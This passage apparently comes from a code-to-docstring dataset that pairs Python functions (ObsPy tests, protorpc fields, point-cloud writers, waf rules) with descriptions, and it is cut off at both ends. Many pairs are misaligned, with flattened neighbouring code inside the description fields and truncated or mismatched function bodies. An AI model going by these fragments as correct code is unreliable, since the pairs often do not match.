tr_trim.trim(starttime=t1, endtime=t4)\n tr2 = tr.slice()\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(starttime=t1)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(endtime=t4)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(starttime=t1, endtime=t4)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr_trim.trim()\n tr2 = tr.slice()\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(starttime=t1)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(endtime=t4)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(starttime=t1, endtime=t4)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr_trim = tr_orig.copy()\n tr_trim.trim(starttime=t2, endtime=t3)\n assert tr_trim == tr.slice(t2, t3)\n assert tr_trim == tr.slice(starttime=t2, endtime=t3)\n\n tr_trim = tr_orig.copy()\n tr_trim.trim(starttime=t4)\n\n tr2 = tr.slice(starttime=t4)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n\n tr2 = tr.slice(starttime=t4, endtime=t4 + 1)\n self.__remove_processing(tr_trim)\n self.__remove_processing(tr2)\n assert tr_trim == tr2\n", "nl": "Tests the slicing of trace objects with no start time or end timeprovided. Compares results against the equivalent trim() operation"} {"code": "def json(self, **kwargs):\n", "nl": "Returns a JSON representation of the current query. Kwargs are passed to``json.dumps``."} {"code": "def get_raw(self, identifier):\n return self._property_map[identifier][0]\n", "nl": "Return a single raw value of the specified property.Returns an 8-bit string, in the raw property encoding.The string contains the exact bytes that go between the square brackets(without interpreting escapes or performing any whitespace conversion).Raises KeyError if there was no property with the given identifier.If the property has multiple values, this returns the first (if thevalue is an empty elist, this returns an empty string)."} {"code": "def test_checkout_preserve_changes_when_checkout_fails(qisrc_action, git_server):\n manifest_url = git_server.manifest_url\n git_server.create_repo(\"foo.git\")\n git_server.switch_manifest_branch(\"devel\")\n git_server.change_branch(\"foo.git\", \"devel\")\n git_server.push_file(\"foo.git\", \"foo.txt\", \"this is foo\")\n qisrc_action(\"init\", manifest_url, \"--branch\", \"devel\")\n qisrc_action(\"checkout\", \"master\")\n git_worktree = TestGitWorkTree()\n foo_proj = git_worktree.get_git_project(\"foo\")\n git = TestGit(foo_proj.path)\n git.read_file(\"foo.txt\")\n\n", "nl": " Test Checkout Preserve Changes When Checkout Fails manifest_url = git_server.manifest_urlgit_server.create_repo(\"foo.git\")git_server.push_file(\"foo.git\", \"README.txt\", \"readme\\n\")qisrc_action(\"init\", manifest_url)git_server.switch_manifest_branch(\"devel\")git_server.change_branch(\"foo.git\", \"devel\")git_worktree = TestGitWorkTree()foo_proj = git_worktree.get_git_project(\"foo\")readme = os.path.join(foo_proj.path, \"README.txt\")with open(readme, \"w\") as fp:fp.write(\"unstaged\\n\")rc = qisrc_action(\"checkout\", \"devel\", retcode=True)assert rc != 0foo_proj = git_worktree.get_git_project(\"foo\")foo_git = qisrc.git.Git(foo_proj.path)assert foo_git.get_current_branch() == \"master\"# With --force:qisrc_action(\"checkout\", \"devel\", \"--force\")assert foo_git.get_current_branch() == \"devel\"def test_checkout_creates_at_correct_place(qisrc_action, git_server): Test Checkout Creates At Correct Place "} {"code": "def enterPause(self):\n for enemy in self.enemies:\n enemy.exitPause()", "nl": " This function is called when the minigame is paused in the debug mode.for enemy in self.enemies:enemy.enterPause()def exitPause(self): This function is called when the minigame is unpaused in the debug mode."} {"code": "def _post(self, *args, **kwargs):", "nl": "Wrapper around self.net.post that adds the acme_version."} {"code": "def test_get_for_nested_obj(drone_doc_parsed_classes, drone_doc, session, constants):\n expanded_base_url = DocUrl.doc_url\n for class_ in drone_doc_parsed_classes:\n target_property_1 = ''\n target_property_2 = ''\n for prop in drone_doc.parsed_classes[class_]['class'].supportedProperty:\n if isinstance(prop.prop, HydraLink):\n continue\n if expanded_base_url in prop.prop:\n object_ = gen_dummy_object(class_, drone_doc)\n for property_ in object_[prop.title]:\n if property_ != '@type':\n object_[prop.title][property_] = 'target_1'\n target_property_1 = '{}[{}]'.format(\n prop.title, property_)\n break\n break\n elif target_property_1 is not '':\n for property_ in object_:\n if property_ != '@type':\n object_[property_] = 'target_2'\n target_property_2 = property_\n break\n break\n\n if target_property_1 is not '' and target_property_2 is not '':\n search_params = {\n target_property_1: 'target_1',\n target_property_2: 'target_2'\n }\n\n obj_id = str(uuid.uuid4())\n response = crud.insert(\n drone_doc, object_=object_, id_=obj_id, session=session)\n search_result = crud.get_collection(API_NAME='api', type_=class_,\n session=session, paginate=True,\n page_size=5, search_params=search_params)\n assert len(search_result['members']) > 0\n search_item_id = search_result['members'][0]['@id'].split(\n '/')[-1]\n assert search_item_id == obj_id\n break\n\n", "nl": "Test CRUD get operation for object that can contain other objects.expanded_base_url = DocUrl.doc_urlfor class_ in drone_doc_parsed_classes:for prop in drone_doc.parsed_classes[class_]['class'].supportedProperty:if not isinstance(prop.prop, HydraLink):if expanded_base_url in prop.prop:dummy_obj = gen_dummy_object(class_, drone_doc)nested_class = prop.prop.split(expanded_base_url)[1]obj_id = str(uuid.uuid4())response = crud.insert(drone_doc, object_=dummy_obj, id_=obj_id, session=session)object_ = crud.get(id_=obj_id, type_=class_, session=session,api_name='api')assert prop.title in object_nested_obj_id = object_[prop.title]nested_obj = crud.get(id_=nested_obj_id, type_=nested_class,session=session, api_name='api')assert nested_obj['@id'].split('/')[-1] == nested_obj_idbreakdef test_searching_over_collection_elements(drone_doc_parsed_classes, drone_doc, session):Test searching over collection elements."} {"code": "def testNestedAttributesNotAllowed(self):\n class HasNamedFields(messages.Message):\n field = messages.StringField(1)\n\n self.assertEquals('field', HasNamedFields.field_by_number(1).name)\n", "nl": "Test attribute assignment on Message classes is not allowed.def int_attribute():class WithMethods(messages.Message):not_allowed = 1def string_attribute():class WithMethods(messages.Message):not_allowed = 'not allowed'def enum_attribute():class WithMethods(messages.Message):not_allowed = Color.REDfor action in (int_attribute, string_attribute, enum_attribute):self.assertRaises(messages.MessageDefinitionError,action)def testNameIsSetOnFields(self):Make sure name is set on fields after Message class init."} {"code": "def call_on_close(self, func):\n self._on_close.append(func)\n return func\n", "nl": "Adds a function to the internal list of functions that shouldbe called as part of closing down the response. Since 0.7 thisfunction also returns the function that was passed so that thiscan be used as a decorator... versionadded:: 0.6"} {"code": "def test_engine_stamp_two_clients():\n CREATE POPULATION p FOR t (\n age NUMERICAL;\n gender NOMINAL;\n salary NUMERICAL;\n height IGNORE;\n division NOMINAL;\n rank NOMINAL;\n )\n ''')", "nl": "Confirm analysis by one worker makes cache in other worker stale.with tempfile.NamedTemporaryFile(prefix='bayeslite') as f:with bayeslite.bayesdb_open(f.name) as bdb0:bayeslite.bayesdb_read_csv(bdb0, 't', StringIO(test_csv.csv_data),header=True, create=True)bdb0.execute("} {"code": "def add_distribution(self, dist):\n logger.debug('adding distribution %s', dist)\n name = dist.key\n self.dists_by_name[name] = dist\n self.dists[(name, dist.version)] = dist\n for p in dist.provides:\n name, version = parse_name_and_version(p)\n logger.debug('Add to provided: %s, %s, %s', name, version, dist)", "nl": "Add a distribution to the finder. This will update internal informationabout who provides what.:param dist: The distribution to add."} {"code": "def validate_element(self, value):\n if isinstance(value, bytes):\n try:\n six.text_type(value, 'UTF-8')\n except UnicodeDecodeError as err:\n try:\n _ = self.name\n except AttributeError:\n validation_error = ValidationError(\n 'Field encountered non-UTF-8 string %r: %s' % (value,\n err))\n else:\n validation_error = ValidationError(\n 'Field %s encountered non-UTF-8 string %r: %s' % (\n self.name, value, err))\n validation_error.field_name = self.name\n raise validation_error\n else:\n return super(StringField, self).validate_element(value)\n return value\n\n\nclass MessageField(Field):", "nl": "Validate StringField allowing for str and unicode.Raises:ValidationError if a str value is not UTF-8."} {"code": "def _copyfileobj_readinto(fsrc, fdst, length=COPY_BUFSIZE):\n fsrc_readinto = fsrc.readinto\n fdst_write = fdst.write\n with memoryview(bytearray(length)) as mv:\n while True:\n n = fsrc_readinto(mv)\n if not n:\n break\n elif n < length:\n with mv[:n] as smv:\n fdst.write(smv)\n else:\n fdst_write(mv)\n", "nl": "readinto()/memoryview() based variant of copyfileobj().*fsrc* must support readinto() method and both files must beopen in binary mode."} {"code": "def _get_hyperp_values(self):\n return {name: h.get_value() for name, h in self.hyperps.items()}\n", "nl": "Get the values of the hyperparameters.Returns:dict[str, object]:Dictionary of local hyperparameter names to their corresponding values."} {"code": "def _teardown(self):\n logger.info(\"CloudConnectEngine is going to tear down...\")\n self._shutdown = True\n with self._lock:\n for job in self._pending_jobs:\n job.stop()\n self._executor.shutdown(wait=True)\n logger.info(\"CloudConnectEngine successfully tears down\")", "nl": "internal method which will call stop method of each running jobsfirstly and then wait for the thread pool to shutdown in a blocked way:return:"} {"code": "def _strip_after_new_lines(s):\n\n :param s: string or BibDataStringExpression\n \"\"\"", "nl": "Removes leading and trailing whitespaces in all but first line.lines = s.splitlines()if len(lines) > 1:lines = [lines[0]] + [l.lstrip() for l in lines[1:]]return '\\n'.join(lines)def strip_after_new_lines(s):Removes leading and trailing whitespaces in all but first line."} {"code": "def _send_dweet(payload, url, params=None, session=None):\n data = json.dumps(payload)\n headers = {'Content-type': 'application/json'}\n return _request('post', url, data=data, headers=headers, params=params, session=session)\n\n", "nl": "Send a dweet to dweet.io"} {"code": "def point_cloud_to_fileobj(pc, fileobj, data_compression=None):\n metadata = pc.get_metadata()\n if data_compression is not None:\n data_compression = data_compression.lower()\n assert(data_compression in ('ascii', 'binary', 'binary_compressed'))\n metadata['data'] = data_compression\n\n header = write_header(metadata)\n fileobj.write(header)\n if metadata['data'].lower() == 'ascii':\n fmtstr = build_ascii_fmtstr(pc)\n np.savetxt(fileobj, pc.pc_data, fmt=fmtstr)\n elif metadata['data'].lower() == 'binary':\n fileobj.write(pc.pc_data.tostring('C'))\n elif metadata['data'].lower() == 'binary_compressed':\n uncompressed_lst = []\n for fieldname in pc.pc_data.dtype.names:\n column = np.ascontiguousarray(pc.pc_data[fieldname]).tostring('C')\n uncompressed_lst.append(column)\n uncompressed = ''.join(uncompressed_lst)\n uncompressed_size = len(uncompressed)\n buf = lzf.compress(uncompressed)\n if buf is None:\n buf = uncompressed\n compressed_size = uncompressed_size\n else:\n compressed_size = len(buf)\n fmt = 'II'\n fileobj.write(struct.pack(fmt, compressed_size, uncompressed_size))\n fileobj.write(buf)\n else:\n raise ValueError('unknown DATA type')\n\n", "nl": " Write pointcloud as .pcd to fileobj.If data_compression is not None it overrides pc.data."} {"code": "def test_usernameReturnedOnSuccess(self):\n d = self.checker.requestAvatarId(self.credentials)\n self.assertEqual(b'alice', self.successResultOf(d))", "nl": "L{checker.SSHPublicKeyChecker.requestAvatarId}, if successful,callbacks with the username."} {"code": "def handle_Q(self, n: int) -> None:\n t = self._parse_T(s)\n assert self.stack is not None\n cast(List[TreeToken], self.stack).append(TreeToken(*t))\n", "nl": "End of sentenceassert self.n is not Noneassert self.n not in self.resultif self.stack:self.result[self.n] = cast(List[TreeToken], self.stack)self.stack = Noneself.n = Nonedef handle_T(self, n: int, s: str) -> None:Terminal"} {"code": "def get_link_target(link):\n try:\n target = os.readlink(link)\n except OSError:\n raise errors.CertStorageError(\n \"Expected {0} to be a symlink\".format(link))\n\n if not os.path.isabs(target):\n target = os.path.join(os.path.dirname(link), target)\n return os.path.abspath(target)\n", "nl": "Get an absolute path to the target of link.:param str link: Path to a symbolic link:returns: Absolute path to the target of link:rtype: str:raises .CertStorageError: If link does not exists."} {"code": "def test_module_run_python_per_module_args(self):\n module_path = os.path.join(self.callpath, \"test/modules/bad_mod.d/missing_class.yaml\")\n with self.assertRaises(ec2rlcore.module.ModuleConstraintKeyError):\n with contextlib.redirect_stdout(self.output):\n ec2rlcore.module.get_module(module_path)\n self.assertEqual(self.output.getvalue(),\n \"Module parsing error: 'missing_class.yaml' missing required constraint 'class'.\\n\")\n", "nl": "Check that run returns process output when running a Python module.my_opts = ec2rlcore.options.Options(subcommands=[\"run\"])my_opts.per_module_args[\"helloworld\"] = {\"hello\": \"world\"}module_path = os.path.join(self.callpath, \"test/modules/mod.d/helloworld.yaml\")module_obj = ec2rlcore.module.get_module(module_path)self.assertEqual(\"Hello world\\n\", module_obj.run(options=my_opts))# Individual constraint testsdef test_module_constraint_class(self):Check that ModuleConstraintKeyError is raised when a module is missing the class constraint."} {"code": "def test_model_predict(booster):\n rank = 1\n world_size = 10\n place = \"/tmp/data\"\n dmatrix, y_test = read_predict_data(rank, world_size, place)\n\n preds = booster.predict(dmatrix)\n best_preds = np.asarray([np.argmax(line) for line in preds])\n score = precision_score(y_test, best_preds, average='macro')\n\n assert score > 0.99\n\n logging.info(\"Predict accuracy: %f\", score)\n\n return True\n\n", "nl": "test xgboost train in the single node:return: true if pass the test"} {"code": "def test_readers(self):\n reader = object()\n reactor = MemoryReactor()\n\n reactor.addReader(reader)\n reactor.addReader(reader)\n\n self.assertEqual(reactor.getReaders(), [reader])\n\n reactor.removeReader(reader)\n\n self.assertEqual(reactor.getReaders(), [])\n\n", "nl": "Adding, removing, and listing readers works."} {"code": "def test_invalid_json(self):\n self.client.post(reverse('vumi-backend'), json.dumps(self.valid_data),\n content_type='text/json')\n message = self.inbound[0]\n self.assertEqual(self.valid_data['content'], message.text)\n self.assertEqual(self.valid_data['from_addr'],\n message.connections[0].identity)\n self.assertEqual('vumi-backend',\n message.connections[0].backend.name)\n", "nl": "HTTP 400 should return if JSON is invalid.data = \"{bad json, , lala}\"response = self.client.post(reverse('vumi-backend'), data,content_type='text/json')self.assertEqual(response.status_code, 400)def test_valid_post_message(self):Valid POSTs should pass message object to router."} {"code": "def _augment_exception(exc, version, arch=''):\n message = exc.args[0]\n\n if \"vcvarsall\" in message.lower() or \"visual c\" in message.lower():\n tmpl = 'Microsoft Visual C++ {version:0.1f} or greater is required.'\n message = tmpl.format(**locals())\n msdownload = 'www.microsoft.com/download/details.aspx?id=%d'\n if version == 9.0:\n if arch.lower().find('ia64') > -1:\n message += ' Get it with \"Microsoft Windows SDK 7.0\"'\n else:\n message += ' Get it from http://aka.ms/vcpython27'\n elif version == 10.0:\n message += ' Get it with \"Microsoft Windows SDK 7.1\": '\n message += msdownload % 8279\n elif version >= 14.0:\n message += (' Get it with \"Microsoft C++ Build Tools\": '\n r'https://visualstudio.microsoft.com'\n r'/visual-cpp-build-tools/')\n\n exc.args = (message, )\n\n\nclass PlatformInfo:\n \"\"\"\n current_cpu = environ.get('processor_architecture', '').lower()\n", "nl": "Add details to the exception message to help guide the useras to what action will resolve it."} {"code": "def test_text_stdout():\n\n out_file = random_string()\n if os.path.isfile(out_file):\n os.remove(out_file)\n\n try:\n out = getoutput(f'{prg} {out_flag()} {out_file} \"foo bar baz\"')\n assert out.strip() == ''\n assert os.path.isfile(out_file)\n text = open(out_file).read().rstrip()\n assert text == 'FOO BAR BAZ'\n finally:\n if os.path.isfile(out_file):\n os.remove(out_file)\n\n", "nl": "Test STDIN/STDOUTout = getoutput(f'{prg} \"foo bar baz\"')assert out.strip() == 'FOO BAR BAZ'# --------------------------------------------------def test_text_outfile():Test STDIN/outfile"} {"code": "def _getfield_is_safe(oldtype, newtype, offset):\n if newtype.hasobject or oldtype.hasobject:\n if offset == 0 and newtype == oldtype:\n return\n if oldtype.names:\n for name in oldtype.names:\n if (oldtype.fields[name][1] == offset and\n oldtype.fields[name][0] == newtype):\n return\n raise TypeError(\"Cannot get/set field of an object array\")\n return\n", "nl": " Checks safety of getfield for object arrays.As in _view_is_safe, we need to check that memory containing objects is notreinterpreted as a non-object datatype and vice versa.Parameters----------oldtype : data-typeData type of the original ndarray.newtype : data-typeData type of the field being accessed by ndarray.getfieldoffset : intOffset of the field being accessed by ndarray.getfieldRaises------TypeErrorIf the field access is invalid"} {"code": "def test_sync_children(self):\n\n zk_content = {\n 'a': {\n 'z': b'1',\n 'x': b'2',\n 'y': b'3',\n },\n }\n\n self.make_mock_zk(zk_content)\n\n glob.glob.return_value = ['a/b', 'a/a', 'a/y']\n\n add = []\n rm = []\n\n zk2fs_sync = zk2fs.Zk2Fs(kazoo.client.KazooClient(), self.root)\n zk2fs_sync._children_watch('/a', ['z', 'x', 'y'],\n False,\n lambda x: add.append(os.path.basename(x)),\n lambda x: rm.append(os.path.basename(x)))\n\n self.assertSequenceEqual(['y', 'x', 'z'], add)\n self.assertSequenceEqual(['a', 'b'], rm)\n\n @mock.patch('treadmill.utils.sys_exit', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.get', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.exists', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.get_children', mock.Mock())", "nl": "Test zk2fs sync with no data.# Disable W0212: accessing protected members.# pylint: disable=W0212zk_content = {'a': {'x': b'1','y': b'2','z': b'3',},}self.make_mock_zk(zk_content)zk2fs_sync = zk2fs.Zk2Fs(kazoo.client.KazooClient(), self.root)fs.mkdir_safe(os.path.join(self.root, 'a'))zk2fs_sync._children_watch('/a', ['x', 'y', 'z'],False,zk2fs_sync._default_on_add,zk2fs_sync._default_on_del)self._check_file('a/x', '1')self._check_file('a/y', '2')self._check_file('a/z', '3')self.assertNotIn('/a/x', zk2fs_sync.watches)# Common files are ignored in sync, 'x' content will not be updated.zk_content['a']['x'] = b'123'zk_content['a']['q'] = b'qqq'zk2fs_sync._children_watch('/a', ['x', 'y', 'z', 'q'],False,zk2fs_sync._default_on_add,zk2fs_sync._default_on_del)self._check_file('a/x', '1')self._check_file('a/q', 'qqq')# Removing node from zk will delete it from file system.del zk_content['a']['x']zk2fs_sync._children_watch('/a', ['y', 'z', 'q'],False,zk2fs_sync._default_on_add,zk2fs_sync._default_on_del)self.assertFalse(os.path.exists(os.path.join(self.root, 'a/x')))@mock.patch('glob.glob', mock.Mock())@mock.patch('kazoo.client.KazooClient.get', mock.Mock())@mock.patch('kazoo.client.KazooClient.exists', mock.Mock())@mock.patch('kazoo.client.KazooClient.get_children', mock.Mock())def test_sync_children_unordered(self):Test zk2fs sync with unordered data."} {"code": "def get_regionset(self, name):\n return [n for i, n in enumerate(self.names) if self.types[i] == \"regions\"]\n", "nl": "Returns the RegionSets.r = GenomicRegionSet(name=name)r.read(os.path.abspath(self.files[name]))return rdef get_regionsnames(self):Returns the region names."} {"code": "def set_migration_cancel(self):\n\n if self.is_src:\n error.context(\"Cancel migration.\", LOG.info)\n vm = self.env.get_vm(self.params[\"main_vm\"])\n vm.monitor.cmd(\"migrate_cancel\")\n\n @error.context_aware", "nl": "Cancel migration after it is beginning"} {"code": "def test_step(self):\n", "nl": "The window should advance by the number of steps providediterable = [1, 2, 3, 4, 5, 6, 7]for n, step, expected in [(3, 2, [(1, 2, 3), (3, 4, 5), (5, 6, 7)]), # n > step(3, 3, [(1, 2, 3), (4, 5, 6), (7, None, None)]), # n == step(3, 4, [(1, 2, 3), (5, 6, 7)]), # line up nicely(3, 5, [(1, 2, 3), (6, 7, None)]), # off by one(3, 6, [(1, 2, 3), (7, None, None)]), # off by two(3, 7, [(1, 2, 3)]), # step past the end(7, 8, [(1, 2, 3, 4, 5, 6, 7)]), # step > len(iterable)]:actual = list(mi.windowed(iterable, n, step=step))self.assertEqual(actual, expected)# Step must be greater than or equal to 1with self.assertRaises(ValueError):list(mi.windowed(iterable, 3, step=0))class SubstringsTests(TestCase):def test_basic(self):iterable = (x for x in range(4))actual = list(mi.substrings(iterable))expected = [(0,),(1,),(2,),(3,),(0, 1),(1, 2),(2, 3),(0, 1, 2),(1, 2, 3),(0, 1, 2, 3),]self.assertEqual(actual, expected)def test_strings(self):iterable = 'abc'actual = list(mi.substrings(iterable))expected = [('a',), ('b',), ('c',), ('a', 'b'), ('b', 'c'), ('a', 'b', 'c')]self.assertEqual(actual, expected)def test_empty(self):iterable = iter([])actual = list(mi.substrings(iterable))expected = []self.assertEqual(actual, expected)def test_order(self):iterable = [2, 0, 1]actual = list(mi.substrings(iterable))expected = [(2,), (0,), (1,), (2, 0), (0, 1), (2, 0, 1)]self.assertEqual(actual, expected)class BucketTests(TestCase):Tests for ``bucket()``"} {"code": "def test_beginswith_date(self):\n n = date.today()\n w = Widget(birthday=n)\n self.engine.save(w)\n early, late = n, n + timedelta(days=2)\n ret = self.engine.scan(Widget)\\\n .filter(Widget.birthday.between_(early, late)).first()\n self.assertEquals(w, ret)\n", "nl": " Cannot use 'beginswith' filter on date fields n = date.today()w = Widget(birthday=n)self.engine.save(w)with self.assertRaises(TypeError):self.engine.scan(Widget)\\.filter(Widget.birthday.beginswith_(n)).all()def test_between_date(self): Can use 'between' filter on date fields "} {"code": "def mode_interpolate(self, params):\n\n use_yale = params['dataset'] == \"YALE\"\n", "nl": "Generate network inputs that interpolate between keyframes."} {"code": "def _close_preql_server(self, bdb, generator_id):\n if bdb in self._cache:\n return self._cache[bdb]\n self._cache[bdb] = dict()\n return self._cache[bdb]\n", "nl": "Close the PreQL server and remove it from the cache.server = self._get_cache_entry(bdb, generator_id, 'preql_server')if server is not None:server.close()self._del_cache_entry(bdb, generator_id, 'preql_server')# Cache management.def _retrieve_cache(self, bdb):Fetch the cache for the given bdb object."} {"code": "def test_set_destination_package_dest_location_to_confirm(self):\n original_picking = self.picking1\n package_level = original_picking.package_level_ids[0]\n response = self.service.dispatch(\n \"set_destination_package\",\n params={\n \"location_id\": self.content_loc.id,\n \"package_level_id\": package_level.id,\n \"barcode\": self.dest_location.barcode,\n },\n )\n self.assertFalse(original_picking.backorder_ids)\n self.assertEqual(original_picking.state, \"done\")\n self.assertEqual(package_level.state, \"done\")\n move_lines = self.service._find_transfer_move_lines(self.content_loc)\n self.assert_response_start_single(\n response,\n move_lines.mapped(\"picking_id\"),\n message=self.service.msg_store.location_content_transfer_item_complete(\n self.dest_location\n ),\n )\n for move in package_level.move_line_ids.mapped(\"move_id\"):\n self.assertEqual(move.state, \"done\")\n", "nl": "Scanned destination location valid, but need a confirmation.package_level = self.picking1.package_level_ids[0]response = self.service.dispatch(\"set_destination_package\",params={\"location_id\": self.content_loc.id,\"package_level_id\": package_level.id,\"barcode\": self.env.ref(\"stock.stock_location_14\").barcode,},)self.assert_response_scan_destination(response,package_level,message=self.service.msg_store.need_confirmation(),confirmation_required=True,)def test_set_destination_package_dest_location_ok(self):Scanned destination location valid, moves set to done."} {"code": "def test_load_focus(self):", "nl": "test that `load_focus` loads the correct Focus instancef = races.load_focus('agility')self.assertEqual(f.name, 'Agility')self.assertDictEqual(f.bonuses, {'STR': 1, 'DEX': 2, 'REFL': 2})f = races.load_focus('alertness')self.assertEqual(f.name, 'Alertness')self.assertDictEqual(f.bonuses, {'PER': 2, 'CHA': 1, 'REFL': 2})f = races.load_focus('brawn')self.assertEqual(f.name, 'Brawn')self.assertDictEqual(f.bonuses, {'STR': 2, 'VIT': 1, 'FORT': 1})f = races.load_focus('cunning')self.assertEqual(f.name, 'Cunning')self.assertDictEqual(f.bonuses, {'PER': 1, 'INT': 2, 'WILL': 3})f = races.load_focus('prestige')self.assertEqual(f.name, 'Prestige')self.assertDictEqual(f.bonuses, {'INT': 1, 'CHA': 2})f = races.load_focus('resilience')self.assertEqual(f.name, 'Resilience')self.assertDictEqual(f.bonuses,{'DEX': 1, 'VIT': 2, 'FORT': 3, 'WILL': 2})f = races.load_focus('spirit')self.assertEqual(f.name, 'Spirit')self.assertDictEqual(f.bonuses,{'VIT': 1, 'MAG': 2, 'FORT': 1, 'REFL': 1, 'WILL': 1})class ApplyRaceTestCase(EvenniaTest):Test case for applying race to a character."} {"code": "def list_boot_devices(self):\n return self._boot_mgmt.list_boot_devices()\n", "nl": "Returns the list of boot devices:returns: a dictionary with the boot modes and the list of associatedBootDevice objects, ordered by the pending_assigned_sequenceproperty:raises: WSManRequestFailure on request failures:raises: WSManInvalidResponse when receiving invalid response:raises: DRACOperationFailed on error reported back by the DRACinterface"} {"code": "def __init__(self, options=[]):\n for opt in options:\n setattr(self, opt, None)\n\n\nif __name__ == \"__main__\":\n text = \"\"\"\\\n\n for w in (10, 20, 30, 40):\n print(\"width: %d\" % w)\n print(\"\\n\".join(wrap_text(text, w)))\n print()", "nl": "Create a new OptionDummy instance. The attributes listed in'options' will be initialized to None."} {"code": "def insert_option_group(self, idx, *args, **kwargs):\n res = self.option_list[:]\n for i in self.option_groups:\n res.extend(i.option_list)\n\n return res\n\n\nclass ConfigOptionParser(CustomOptionParser):", "nl": "Insert an OptionGroup at a given position.group = self.add_option_group(*args, **kwargs)self.option_groups.pop()self.option_groups.insert(idx, group)return group@propertydef option_list_all(self):Get a list of all options, including those in option groups."} {"code": "def __repr__(self):\n\n self.__subscribed = True\n url = SUBSCRIBE_ENDPOINT + \"?token=\" + self._session_token\n\n data = self._session.query(url, method='GET', raw=True, stream=True)\n if not data or not data.ok:\n _LOGGER.debug(\"Did not receive a valid response. Aborting..\")\n return None\n\n self.__sseclient = sseclient.SSEClient(data)\n\n try:\n for event in (self.__sseclient).events():\n if not self.__subscribed:\n break\n data = json.loads(event.data)\n if data.get('status') == \"connected\":\n _LOGGER.debug(\"Successfully subscribed this base station\")\n elif data.get('action'):\n action = data.get('action')\n resource = data.get('resource')\n if action == \"logout\":\n _LOGGER.debug(\"Logged out by some other entity\")\n self.__subscribed = False\n break\n elif action == \"is\" and \"subscriptions/\" not in resource:\n self.__events.append(data)\n self.__event_handle.set()\n\n except TypeError as error:\n _LOGGER.debug(\"Got unexpected error: %s\", error)\n return None\n\n return True\n", "nl": "Representation string of object.return \"<{0}: {1}>\".format(self.__class__.__name__, self.name)def thread_function(self):Thread function."} {"code": "def test_bid_is_not_posted_if_time_slot_not_provided(future_market):\n first_future_market = next(iter(future_market.slot_offer_mapping))\n offer = future_market.offer(1, 1, \"seller\", \"seller_origin\", time_slot=first_future_market)\n future_market.delete_offer(offer)\n assert len(future_market.offers) == 0\n assert len(future_market.slot_offer_mapping[first_future_market]) == 0\n\n @staticmethod", "nl": "Test if offer method raises Exception if time_slot not provided.with pytest.raises(FutureMarketException):future_market.bid(1, 1, \"seller\", \"seller_origin\")@staticmethoddef test_delete_offer(future_market):Test if offer gets deleted from all buffers when calling delete_offer."} {"code": "def addImage(self, img):\n self.mTruthImg = img\n self.mCurImg = self.mColorModel.threshold(img)\n return\n\n", "nl": "Add a single image to the segmentation algorithm"} {"code": "def _filter_transfers(payer, transfers, automatic):\n canceled_transfers = []\n impossible_transfers = []\n okay_transfers = []\n has_pending_transfer = set(website.db.all(\"\"\"\n for tr in transfers:\n if isinstance(tr['amount'], dict):\n tr['amount'] = Money(**tr['amount'])\n beneficiary = tr['beneficiary'] = website.db.Participant.from_id(tr['tippee_id'])\n tip = tr['tip'] = payer.get_tip_to(beneficiary)\n if tip.renewal_mode < 1 or automatic and (tip.renewal_mode != 2) or \\\n beneficiary.id in has_pending_transfer:\n canceled_transfers.append(tr)\n elif beneficiary.status != 'active' or beneficiary.is_suspended or \\\n not beneficiary.accepts_tips or \\\n beneficiary.payment_providers == 0 or \\\n automatic and beneficiary.payment_providers & 1 == 0:\n impossible_transfers.append(tr)\n else:\n okay_transfers.append(tr)\n return okay_transfers, canceled_transfers, impossible_transfers", "nl": "Splits scheduled transfers into 3 lists: \"okay\", \"canceled\" and \"impossible\"."} {"code": "def __init__(self, patience=7, verbose=False):\n self.patience = patience\n self.verbose = verbose\n self.counter = 0\n self.best_score = None\n self.early_stop = False\n self.accs=0\n self.F1=0\n self.F2 = 0\n self.F3 = 0\n self.F4 = 0\n self.val_loss_min = np.Inf\n", "nl": "Args:patience (int): How long to wait after last time validation loss improved.Default: 7verbose (bool): If True, prints a message for each validation loss improvement.Default: False"} {"code": "def _get_order_line_vals(self, product_id):\n product = self.env[\"product.product\"].browse(product_id)\n line_vals = {\"product_id\": product_id, \"order_id\": self.order_id.id}\n extra_vals = self.order_line_id._prepare_add_missing_fields(line_vals)\n line_vals.update(extra_vals)\n line_vals.update(\n {\n \"config_session_id\": self.config_session_id.id,\n \"price_unit\": self.config_session_id.price,\n \"name\": product._get_mako_tmpl_name(),\n }\n )\n return line_vals\n", "nl": " Hook to allow custom line values to be put on the newlycreated or edited lines."} {"code": "def _check(self):\n self.assertSizes(\"_char\")\n self.assertSizes(\"_uint\")\n self.assertSizes(\"_ulong\")\n self.assertSizes(\"_double\")\n self.assertSizes(\"_longdouble\")\n self.assertSizes(\"_float\")\n", "nl": "assertSizes compares the python sizeof with the clang sizeofThis _check is reusable for every arch."} {"code": "def process_rule(self):\n\tif not getattr(self, 'rule', None):\n\t\treturn\n\n\tname = str(getattr(self, 'name', None) or self.target or getattr(self.rule, '__name__', self.rule))\n\n\ttry:\n\t\tcache = self.bld.cache_rule_attr\n\texcept AttributeError:\n\t\tcache = self.bld.cache_rule_attr = {}\n\n\tchmod = getattr(self, 'chmod', None)\n\tshell = getattr(self, 'shell', True)\n\tcolor = getattr(self, 'color', 'BLUE')\n\tscan = getattr(self, 'scan', None)\n\t_vars = getattr(self, 'vars', [])\n\tcls_str = getattr(self, 'cls_str', None)\n\tcls_keyword = getattr(self, 'cls_keyword', None)\n\tuse_cache = getattr(self, 'cache_rule', 'True')\n\tdeep_inputs = getattr(self, 'deep_inputs', False)\n\n\tscan_val = has_deps = hasattr(self, 'deps')\n\tif scan:\n\t\tscan_val = id(scan)\n\n\tkey = Utils.h_list((name, self.rule, chmod, shell, color, cls_str, cls_keyword, 